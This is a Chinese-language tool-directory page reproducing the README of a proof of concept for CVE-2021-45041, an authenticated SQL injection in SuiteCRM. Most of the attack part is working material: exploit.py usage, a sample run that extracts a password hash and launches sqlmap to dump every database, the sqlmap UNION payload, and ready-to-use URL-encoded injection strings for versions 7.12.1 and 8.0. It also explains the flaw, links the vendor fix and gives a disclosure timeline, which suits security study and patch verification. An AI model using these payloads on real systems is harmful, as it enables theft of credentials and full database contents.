Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-45041 — PoC for CVE-2021-45041 | Kitploit
工具/GitHubGitHub/manuelz120/cve-2021-45041
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubmanuelz120/cve-2021-45041

CVE-2021-45041

PoC for CVE-2021-45041

查看仓库
34年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

CVE-2021-45041

CVE-2021-45041(又名 SCRMBT-#177)的概念验证 – SuiteCRM <= 8.0 中的认证后 SQL 注入

用法

选项:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT          SuiteCRM 安装根目录。默认为 http://localhost
  -u, --username TEXT      用户名
  -p, --password TEXT      密码
  -c, --col_count INTEGER  联合查询中使用的列数。默认为 44
  -d, --dbms TEXT          SuiteCRM 使用的数据库管理系统。默认为 mysql
  -d, --is_core BOOLEAN    SuiteCRM Core (>= 8.0.0)。默认为 False
  --help                   显示此帮助信息并退出。

  https://github.com/manuelz120/CVE-2021-45041

示例用法:

root@kitploit:~
(.venv) ➜  CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:登录成功 - 尝试获取用户哈希值以检查 SuiteCRM 是否存在漏洞
INFO:CVE-2021-45041:收到以下哈希值: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:如果这看起来不像密码哈希值,则漏洞利用可能无法正常工作
INFO:CVE-2021-45041:针对目标启动 sqlmap 以获取完整数据库转储
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.5.12#pip}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:42:51 /2021-12-27/

custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[21:42:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: UNION query
    Title: Generic UNION query (NULL) - 44 columns (custom)
    Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] testing MySQL
[21:42:52] [INFO] confirming MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:42:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.51
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[21:42:52] [INFO] sqlmap will dump entries of all tables from all databases now
[21:42:52] [INFO] fetching database names
...

说明

我最近在 SuiteCRM 中发现了一个认证后的 SQL 注入漏洞。我已在版本 8.0 和 7.12.1 中验证了该漏洞。漏洞位于 Project 模块的 Tooltips 操作中。在默认安装中,任何用户都可以通过访问以下 URL 来调用此操作(对于版本 8,请添加 /legacy 前缀):

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test

如果我们查看该操作的实现(参见 https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513),可以看到这些值直接取自 $_REQUEST,没有任何额外的清理,随后在查询的 where 子句中使用。

易受攻击的函数

尽管由于 HTML 实体编码,我们无法使用单引号,但由于存在多个注入点,该漏洞仍然可以利用。如果我们指定一个以反斜杠 (\) 字符结尾的 resource_id,后续的单引号将被转义,字符串将仅在 BETWEEN 关键字后的单引号处终止。这意味着,客户端发送的任何 start_date 都将被视为纯 SQL,并可用于执行 SQL 注入攻击。

以下是一个最小化的概念验证,用于泄露用户的密码哈希值:

版本 7.12.1:

/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

版本 8.0:

/legacy/index.php?module=Project&action=Tooltips&resource_id=test&start_date=%29%20UNION%20SELECT%200%2C%201%2C%202%2C%203%2C%204%2C%20%28SELECT%20user_hash%20from%20users%20limit%201%29%2C%206%2C%207%2C%208%2C%209%2C%2010%2C%2011%2C%2012%2C%2013%2C%2014%2C%2015%2C%2016%2C%2017%2C%2018%2C%2019%2C%2020%2C%2021%2C%2022%2C%2023%2C%2024%2C%2025%2C%2026%2C%2027%2C%2028%2C%2029%2C%2030%2C%2031%2C%2032%2C%2033%2C%2034%2C%2035%2C%2036%2C%2037%2C%2038%2C%2039%2C%2040%2C%2041%2C%2042%2C%2043%20from%20dual%3B%20%23

URL 解码版本:

root@kitploit:~
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

概念验证

已实施的修复

在我报告之后不久,新的 SuiteCRM 版本(7.12.2 和 8.0.1)发布,其中包含以下修复:

https://github.com/salesagility/SuiteCRM/commit/0201c36b1468a16eb89218e7c798cf0ce2adac5c?diff=unified#diff-cb8e700b4303102f82ba718a035794422b23769c3140a46f77285a268f14232aL489-L496

时间线

  • 2021年12月13日:发现漏洞并向 SuiteCRM 报告
  • 2021年12月14日:供应商(SalesAgility)确认漏洞
  • 2021年12月17日:发布修复版本(SuiteCRM 7.12.2 和 SuiteCRM 8.0.1)

致谢

  • SQLMap
  • Click
  • BeautifulSoup
下载工具